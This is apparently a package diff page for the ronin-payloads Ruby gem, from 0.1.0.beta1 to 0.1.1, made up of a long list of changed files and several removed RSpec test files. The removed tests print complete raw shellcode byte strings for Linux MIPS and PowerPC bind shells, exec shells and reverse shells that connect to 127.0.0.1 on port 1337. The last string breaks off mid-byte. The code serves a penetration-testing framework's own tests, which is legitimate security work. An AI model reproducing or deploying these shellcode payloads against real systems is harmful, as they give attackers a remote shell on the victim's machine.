ronin-payloads 0.1.0.beta1 → 0.1.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +16 -1
- data/.rubocop.yml +37 -0
- data/.yardopts +1 -1
- data/ChangeLog.md +13 -1
- data/Gemfile +5 -2
- data/README.md +4 -3
- data/Rakefile +3 -1
- data/bin/ronin-payloads +7 -8
- data/examples/bin_sh.rb +4 -0
- data/gemspec.yml +8 -7
- data/lib/ronin/payloads/asm_payload.rb +2 -2
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +5 -4
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +3 -3
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +3 -3
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +4 -4
- data/lib/ronin/payloads/builtin/test/xss.rb +4 -4
- data/lib/ronin/payloads/c_payload.rb +2 -2
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +11 -13
- data/lib/ronin/payloads/cli/commands/encode.rb +17 -21
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +3 -3
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +4 -4
- data/lib/ronin/payloads/cli/commands/show.rb +3 -2
- data/lib/ronin/payloads/cli/encoder_methods.rb +2 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/generator/payload_types.rb +4 -3
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +1 -1
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +6 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +2 -1
- data/lib/ronin/payloads/encoders/encoder.rb +3 -2
- data/lib/ronin/payloads/encoders/exceptions.rb +2 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +3 -2
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/registry.rb +5 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +2 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +2 -1
- data/lib/ronin/payloads/go_payload.rb +2 -2
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +2 -2
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +2 -1
- data/lib/ronin/payloads/metadata/os.rb +2 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +3 -3
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -2
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -2
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +2 -3
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +8 -8
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +4 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +2 -2
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +9 -9
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +3 -3
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +2 -1
- data/man/ronin-payloads-build.1 +1 -1
- data/man/ronin-payloads-build.1.md +1 -1
- data/man/ronin-payloads-encode.1 +1 -1
- data/man/ronin-payloads-encode.1.md +1 -1
- data/man/ronin-payloads-encoder.1 +1 -1
- data/man/ronin-payloads-encoder.1.md +1 -1
- data/man/ronin-payloads-encoders.1 +1 -1
- data/man/ronin-payloads-encoders.1.md +1 -1
- data/man/ronin-payloads-irb.1 +1 -1
- data/man/ronin-payloads-irb.1.md +1 -1
- data/man/ronin-payloads-launch.1 +1 -1
- data/man/ronin-payloads-launch.1.md +1 -1
- data/man/ronin-payloads-list.1 +1 -1
- data/man/ronin-payloads-list.1.md +1 -1
- data/man/ronin-payloads.1 +1 -1
- data/man/ronin-payloads.1.md +1 -1
- data/ronin-payloads.gemspec +5 -5
- metadata +17 -215
- data/spec/asm_payload_spec.rb +0 -114
- data/spec/binary_payload_spec.rb +0 -8
- data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
- data/spec/builtin/java/reverse_shell_spec.rb +0 -103
- data/spec/builtin/php/cmd_exec.rb +0 -52
- data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
- data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
- data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
- data/spec/builtin/test/open_redirect_spec.rb +0 -24
- data/spec/builtin/test/xss_spec.rb +0 -24
- data/spec/c_payload_spec.rb +0 -139
- data/spec/cli/commands/show_spec.rb +0 -21
- data/spec/cli/encoder_methods_spec.rb +0 -275
- data/spec/cli/format_option_spec.rb +0 -187
- data/spec/cli/payload_command_spec.rb +0 -68
- data/spec/cli/payload_methods_spec.rb +0 -208
- data/spec/cli/printing_spec.rb +0 -65
- data/spec/cli/ruby_shell_spec.rb +0 -14
- data/spec/coldfusion_payload_spec.rb +0 -8
- data/spec/command_payload_spec.rb +0 -8
- data/spec/encoders/builtin/html/encode_spec.rb +0 -17
- data/spec/encoders/builtin/js/encode_spec.rb +0 -17
- data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
- data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
- data/spec/encoders/encoder_spec.rb +0 -62
- data/spec/encoders/html_encoder_spec.rb +0 -8
- data/spec/encoders/javascript_encoder_spec.rb +0 -8
- data/spec/encoders/pipeline_spec.rb +0 -153
- data/spec/encoders/powershell_encoder_spec.rb +0 -8
- data/spec/encoders/shell_encoder_spec.rb +0 -8
- data/spec/encoders/sql_encoder_spec.rb +0 -8
- data/spec/encoders/xml_encoder_spec.rb +0 -8
- data/spec/encoders_spec.rb +0 -25
- data/spec/go_payload_spec.rb +0 -56
- data/spec/helpers/encoders.rb +0 -9
- data/spec/helpers/payloads.rb +0 -9
- data/spec/helpers/scripts/payloads/simple.rb +0 -22
- data/spec/html_payload_spec.rb +0 -12
- data/spec/java_payload_spec.rb +0 -97
- data/spec/javascript_payload_spec.rb +0 -12
- data/spec/jsp_payload_spec.rb +0 -8
- data/spec/metadata/arch_spec.rb +0 -82
- data/spec/metadata/os_spec.rb +0 -164
- data/spec/mixins/binary_spec.rb +0 -129
- data/spec/mixins/bind_shell_spec.rb +0 -73
- data/spec/mixins/build_dir.rb +0 -64
- data/spec/mixins/erb_spec.rb +0 -19
- data/spec/mixins/network_spec.rb +0 -75
- data/spec/mixins/post_ex_spec.rb +0 -40
- data/spec/mixins/resolve_host_spec.rb +0 -322
- data/spec/mixins/reverse_shell_spec.rb +0 -103
- data/spec/mixins/tempfile_spec.rb +0 -97
- data/spec/mixins/typescript_spec.rb +0 -92
- data/spec/node_js_payload_spec.rb +0 -8
- data/spec/payload_spec.rb +0 -288
- data/spec/payloads_spec.rb +0 -29
- data/spec/php_payload_spec.rb +0 -8
- data/spec/powershell_payload_spec.rb +0 -16
- data/spec/python_payload_spec.rb +0 -8
- data/spec/ruby_payload_spec.rb +0 -8
- data/spec/rust_payload_spec.rb +0 -116
- data/spec/shell_payload_spec.rb +0 -16
- data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
- data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
- data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
- data/spec/shellcode_payload_spec.rb +0 -38
- data/spec/spec_helper.rb +0 -7
- data/spec/sql_payload_spec.rb +0 -12
- data/spec/url_payload_spec.rb +0 -72
- data/spec/xml_payload_spec.rb +0 -12
@@ -1,60 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/mips/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::MIPS::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/mips/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/mips/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :mips" do
|
21
|
-
expect(subject.arch).to be(:mips)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
let(:packed_port) { "\x05\x39".b }
|
49
|
-
|
50
|
-
it "must set #payload" do
|
51
|
-
expect(subject.payload).to eq(
|
52
|
-
"\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01#{packed_port}\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh".b
|
53
|
-
)
|
54
|
-
end
|
55
|
-
|
56
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
57
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
58
|
-
end
|
59
|
-
end
|
60
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/mips/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::MIPS::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/mips/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/mips/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :mips" do
|
21
|
-
expect(subject.arch).to be(:mips)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/mips/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::MIPS::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/mips/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/mips/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :mips" do
|
21
|
-
expect(subject.arch).to be(:mips)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x24\x0f\xff\xfd\x01\xe0\x20\x27\x01\xe0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x24\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x05\x39\x35\xce\x05\x39\xaf\xae\xff\xe4\x3c\x0d\x7f\x00\x35\xad\x00\x01\xaf\xad\xff\xe6\x23\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x28\x27\x8f\xa4\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x20\xa5\xff\xff\x24\x01\xff\xff\x14\xa1\xff\xfb\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/ppc/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::PPC::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/ppc/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/ppc/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :ppc" do
|
21
|
-
expect(subject.arch).to be(:ppc)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x7c\x3f\x0b\x78\x7c\xa5\x2a\x79\x42\x40\xff\xf9\x7f\x08\x02\xa6\x3b\x18\x01\x34\x98\xb8\xfe\xfb\x38\x78\xfe\xf4\x90\x61\xff\xf8\x38\x81\xff\xf8\x90\xa1\xff\xfc\x3b\xc0\x01\x60\x7f\xc0\x2e\x70\x44\xde\xad\xf2/bin/shZ".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,87 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::PPC::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/ppc/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/ppc/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :ppc" do
|
21
|
-
expect(subject.arch).to be(:ppc)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "params" do
|
34
|
-
subject { described_class }
|
35
|
-
|
36
|
-
it "must define a with_stderr param that defualts to true" do
|
37
|
-
expect(subject.params[:with_stderr]).to_not be(nil)
|
38
|
-
expect(subject.params[:with_stderr].type).to be_kind_of(Ronin::Core::Params::Types::Boolean)
|
39
|
-
expect(subject.params[:with_stderr].desc).to eq('Enables/disables stderr')
|
40
|
-
expect(subject.params[:with_stderr].default).to be(true)
|
41
|
-
end
|
42
|
-
end
|
43
|
-
|
44
|
-
let(:host) { '127.0.0.1' }
|
45
|
-
let(:port) { 1337 }
|
46
|
-
|
47
|
-
subject do
|
48
|
-
described_class.new(
|
49
|
-
params: {
|
50
|
-
host: host,
|
51
|
-
port: port
|
52
|
-
}
|
53
|
-
)
|
54
|
-
end
|
55
|
-
|
56
|
-
describe "#build" do
|
57
|
-
before { subject.build }
|
58
|
-
|
59
|
-
it "must set #payload" do
|
60
|
-
expect(subject.payload).to eq(
|
61
|
-
"\x7c\x3f\x0b\x78\x3b\x40\x01\x0e\x3b\x5a\xfe\xf4\x7f\x43\xd3\x78\x3b\x60\x01\x0d\x3b\x7b\xfe\xf4\x7f\x64\xdb\x78\x7c\xa5\x2a\x78\x7c\x3c\x0b\x78\x3b\x9c\x01\x0c\x90\x7c\xff\x08\x90\x9c\xff\x0c\x90\xbc\xff\x10\x7f\x63\xdb\x78\x3b\xdf\x01\x0c\x38\x9e\xff\x08\x3b\x20\x01\x98\x7f\x20\x16\x70\x44\xde\xad\xf2\x7c\x78\x1b\x78\xb3\x5e\xff\x16\x7f\xbd\xea\x78\x63\xbd\x05\x39\xb3\xbe\xff\x18\x3f\xa0\x7f\x00\x63\xbd\x00\x01\x93\xbe\xff\x1a\x93\x1c\xff\x08\x3a\xde\xff\x16\x92\xdc\xff\x0c\x3b\xa0\x01\x1c\x38\xbd\xfe\xf4\x90\xbc\xff\x10\x7f\x20\x16\x70\x7c\x7a\xda\x14\x38\x9c\xff\x08\x44\xde\xad\xf2\x7f\x03\xc3\x78\x7c\x84\x22\x78\x3a\xe0\x01\xf8\x7e\xe0\x1e\x70\x44\xde\xad\xf2\x7f\x03\xc3\x78\x7f\x64\xdb\x78\x7e\xe0\x1e\x70\x44\xde\xad\xf2\x7f\x03\xc3\x78\x7f\x44\xd3\x78\x7e\xe0\x1e\x70\x44\xde\xad\xf2\x7c\xa5\x2a\x79\x42\x40\xff\x35\x7f\x08\x02\xa6\x3b\x18\x01\x34\x98\xb8\xfe\xfb\x38\x78\xfe\xf4\x90\x61\xff\xf8\x38\x81\xff\xf